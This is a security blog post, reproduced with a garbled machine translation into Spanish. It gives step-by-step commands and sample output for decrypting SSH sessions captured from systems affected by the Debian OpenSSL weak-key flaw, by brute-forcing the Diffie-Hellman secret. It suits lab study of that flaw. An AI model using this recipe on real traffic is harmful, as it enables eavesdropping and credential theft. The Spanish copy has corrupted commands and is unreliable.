Decrypting Vulnerable SSH Trafic....Descifrar el tráfico SSH vulnerables

Lots of analysis work has been done to understand the ramifications of this flaw, interesting because the effect of the flaw lasts long after vulnerable systems have been patched. Full recovery requires that all keys generated on a vulnerable system be replaced.

Lots of folks have experimented with HD Moore's precomputed SSH keys, allowing an attacker to quickly identify the private key of a vulnerable OpenSSL implementation. If you haven't looked at these tools, I recommend you setup a vulnerable VM, generate a SSH key with "ssh-keygen -t dsa" and use some of the scripts on the OpenSSL Toys page to attack the system (on the vulnerable system, remember to "mv .ssh/id_pub.dsa .ssh/authorized_keys2").

What got less attention is the ability to decrypt SSH traffic by brute-forcing the Diffie-Hellman (DH) session key of a vulnerable OpenSSL system, implemented by the great guys at cr0.org. Two of their tools can be used in tandem; ssh_kex_keygen which recovers the DH key when at least one system in the SSH exchange is running a vulnerable OpenSSL, and ssh_decoder which parses TCP stream information from the SSH exchange automatically.

The folks at cr0 wrote their tools with the intention of recovering password-based authentication credentials against a vulnerable system, but it can also be used to decrypt an SSH packet capture when public/private key authentication is used. In order to get the TCP stream information in a form useful for ssh_decoder to parser, we can use the tcpick tool on a packet capture file.

To decrypt an OpenSSH session of a vulnerable OpenSSL implementation:

1. Capture the OpenSSH exchange. Unfortunately, tcpick has a bug which prevents it from correctly parsing 802.11 packet captures. I've sent the tcpick author a patch that fixes this flaw, but until that gets merged, you can convert an 802.11 packet capture to an Ethernet/802.3 packet capture using wlan2eth, available at http://www.willhackforsushi.com/code/wlan2eth/wlan2eth-0.1-src.tgz.

2. Extract the session you want to decrypt. If you have a big packet capture, it's best if you target the exchange you want to attack. Wireshark's Statistics -> Conversations feature will allow you to select any of the TCP sessions in the capture. Applying the session as a display filter (right-click on the TCP conversation, click Apply as Filter -> Selected -> A <-> B). Save the display filter results as a new packet capture (when clicking Save As, select "Displayed" in the Packet Range group in the "Save file as" dialog box.

3. Convert the packet capture into two data streams representing the client and server communications using tcpick:

$ tcpick -wRC -wRS -r ssh-sess.dump

Starting tcpick 0.2.1 at 2009-02-02 23:00 EST

Timeout for connections is 600

tcpick: reading from ssh-sess.dump


1 SYN-SENT 172.16.0.6:44388 > 172.16.0.99:ssh


1 SYN-RECEIVED 172.16.0.6:44388 > 172.16.0.99:ssh


1 ESTABLISHED 172.16.0.6:44388 > 172.16.0.99:ssh


1 FIN-WAIT-1 172.16.0.6:44388 > 172.16.0.99:ssh


1 TIME-WAIT 172.16.0.6:44388 > 172.16.0.99:ssh


1 CLOSED 172.16.0.6:44388 > 172.16.0.99:ssh


tcpick: done reading from ssh-sess.dump

$ ls

eth-sess.dump

tcpick_172.16.0.6_172.16.0.99_ssh.clnt.dat

tcpick_172.16.0.6_172.16.0.99_ssh.serv.dat

4. Grab ssh_kex_keygen from cr0.org. Compile the tool by running "make".

5. I ended up running into problems with the ssh_decoder tool causing it to fail in parsing the tcpick SSH session data. These hacks aren't a 100% fix, but it works fairly reasonably. In the ssh_kex_keygen-1.1/ directory, grab my version of ssh_decoder.rb:

www.willhackforsushi.com/code/ssh_decoder.rb

6. Ready to go; run ssh_decoder specifying the number of CPU's available to brute-force the DH key with the -n argument, specify -s if the server is vulnerable or -c if the client is vulnerable and the tcpick .dat files. On my Core Duo laptop, I run the script like this:

$ ruby ssh_decoder.rb -s -n2 ../tcpick*.dat

* read handshake

cipher: aes128-cbc, mac: hmac-md5, kex_hash: sha256, compr: none

* bruteforce DH

DH shared secret : 480a7ee6d32d09fb5a6a931ba0fca33e ... ...

* derive keys
* decipher streams
* successful authentication packet

{:testic=>1,
:username=>"username",
:keytype=>"ssh-dss",
:key=>
{:type=>"ssh-dss",
< trimmed >
:nextservice=>"ssh-connection",
:auth_method=>"publickey"}

* deciphered streams saved to "sshdecrypt.0.client.dat" & "sshdecrypt.0.server.dat"

The output files sshdecrypt* represent the plaintext data of the vulnerable OpenSSH/OpenSSL implementation. If both the client and server are vulnerable, then you'll have plaintext data in both. If only one end of the session is vulnerable, then one file will be encrypted and the other will be plaintext.

One sesiously missing tool to round out this vulnerability is a mechanism to decrypt a non-vulnerable OpenSSH server implementation when the public/private keypair is known.

willhackforsushi.com
............................................................................
Lotes de trabajo de análisis que se ha hecho para entender las ramificaciones de este error, porque el interesante efecto de la falla dura mucho tiempo después de los sistemas vulnerables han sido parcheado. La recuperación completa requiere que todas las claves generadas en un sistema vulnerable ser reemplazado.

Muchas personas han experimentado con HD Moore precomputed claves SSH, lo que permite a un atacante para identificar rápidamente la clave privada de una aplicación vulnerables de OpenSSL. Si usted no ha examinado estas herramientas, le recomiendo que la configuración vulnerable VM, generar una clave SSH con "ssh-keygen-t dsa" y utilizar algunas de las secuencias de comandos en la página OpenSSL Juguetes para atacar el sistema (en las personas vulnerables sistema, recuerde "mv .ssh / id_pub.dsa .ssh/authorized_keys2").

¿Qué tiene menos atención es la habilidad para descifrar el tráfico SSH bruta por obligar a la Diffie-Hellman (DH) de una clave de sesión vulnerables OpenSSL sistema, implementado por la gran chicos de cr0.org. Dos de sus herramientas se pueden utilizar en paralelo; ssh_kex_keygen DH que recupera la clave cuando al menos un sistema en el intercambio de SSH se está ejecutando un vulnerables de OpenSSL, y que analiza ssh_decoder TCP flujo de información de la SSH intercambio automáticamente.

La gente de CR0 escribió sus herramientas con la intención de recuperar la contraseña de autenticación basados en credenciales contra un sistema vulnerable, pero también puede ser usado para descifrar un paquete SSH captura cuando el sector público y privado de clave pública se utiliza. Con el fin de obtener la información del flujo de TCP en una forma útil para ssh_decoder al analizador, podemos usar la herramienta tcpick en un archivo de captura de paquetes.

Para descifrar un período de sesiones de OpenSSH OpenSSL vulnerable aplicación:

1. Captura la OpenSSH intercambio. Lamentablemente, tcpick tiene un error que le impide analizar correctamente 802,11 captura de paquetes. He enviado el autor tcpick un parche que corrige este error, pero hasta que se fusionaron, puede convertir una captura de paquetes de 802,11 a Ethernet/802.3 una captura de paquetes utilizando wlan2eth, disponible en http://www.willhackforsushi.com/code/wlan2eth/wlan2eth-0.1-src.tgz .

2. Extracto de la sesión que desea descifrar. Si usted tiene un gran paquete de captura, es mejor si el cambio de destino que desea atacar. Wireshark de Estadísticas -> Conversaciones función le permite seleccionar una de las sesiones TCP en la captura. La aplicación de la sesión como un filtro de pantalla (clic con el botón derecho sobre la conversación TCP, haga clic en Aplicar filtro -> Selección -> A <-> B). Guardar la pantalla filtrar los resultados como un nuevo paquete de captura (al hacer clic en Guardar como, seleccione "Se ha visto" en el rango de paquetes en el grupo "Guardar archivo como" cuadro de diálogo.

3. Convertir el paquete de captura en dos flujos de datos que representan el cliente y el servidor de comunicaciones utilizando tcpick:

$ Tcpick-CMR-WRS-r ssh-sess.dump

A partir tcpick 0.2.1 en 2009-02-02 23:00 EST

El tiempo de espera es de 600 conexiones

tcpick: lectura de ssh-sess.dump


SYN-1 ENVIADO 172.16.0.6:44388> 172.16.0.99: ssh


SYN-1 RECIBIDO 172.16.0.6:44388> 172.16.0.99: ssh


1 ESTABLECIDO 172.16.0.6:44388> 172.16.0.99: ssh


1 FIN-ESPERE-1 172.16.0.6:44388> 172.16.0.99: ssh


1-TIEMPO ESPERA 172.16.0.6:44388> 172.16.0.99: ssh


1 CERRADO 172.16.0.6:44388> 172.16.0.99: ssh


tcpick: hacer la lectura de ssh-sess.dump

$ Ls

ETH-sess.dump

tcpick_172.16.0.6_172.16.0.99_ssh.clnt.dat

tcpick_172.16.0.6_172.16.0.99_ssh.serv.dat

4. Grab ssh_kex_keygen de cr0.org. Recopilar la herramienta ejecutando "make".

5. Acabé corriendo en problemas con la herramienta ssh_decoder causar que falle en la tcpick SSH analizar los datos de la sesión. Estos no son "hacks" en un 100% arreglar, pero funciona bastante razonable. En el ssh_kex_keygen-1,1 / directorio, agarra a mi versión de ssh_decoder.rb:

www.willhackforsushi.com / code / ssh_decoder.rb

6. Listo para ir; ssh_decoder ejecutar especificando el número de CPU disponible para la fuerza bruta clave DH-n con el argumento-s especifica si el servidor es vulnerable o c-si el cliente es vulnerable y el tcpick. Dat. En mi ordenador portátil Core Duo, que ejecutar la secuencia de comandos como ésta:

$ Ssh_decoder.rb rubí-n2-s .. / tcpick *. dat

* Leer Handshake

cifrado: aes128-cbc, mac: HMAC-MD5, kex_hash: sha256, compr: ninguno

* Bruteforce DH

DH secreto compartido: 480a7ee6d32d09fb5a6a931ba0fca33e ... ...

* Obtener claves
* Descifrar los arroyos
* Paquete de autenticación exitosa

(: testic => 1,
: username => "nombre de usuario",
: keytype => "ssh-dss",
: clave =>
(: type => "ssh-dss",

: nextservice => "ssh-conexión",
: auth_method => "publickey")

* Decifrado arroyos guarda en "sshdecrypt.0.client.dat" & "sshdecrypt.0.server.dat"

Los archivos de salida sshdecrypt * representan los datos de texto plano de los grupos vulnerables de OpenSSH / OpenSSL aplicación. Si tanto el cliente y el servidor son vulnerables y, a continuación, usted tendrá los datos tanto en texto plano. Si sólo uno de los extremos del período de sesiones es vulnerable y, a continuación, un archivo se cifrará y el otro será texto.

Una herramienta sesiously que faltan para completar esta vulnerabilidad es un mecanismo para descifrar no vulnerables servidor OpenSSH aplicación cuando el sector público y privado par de claves que se conoce.

willhackforsushi.com

No hay comentarios:

Protected by Copyscape Original Article Checker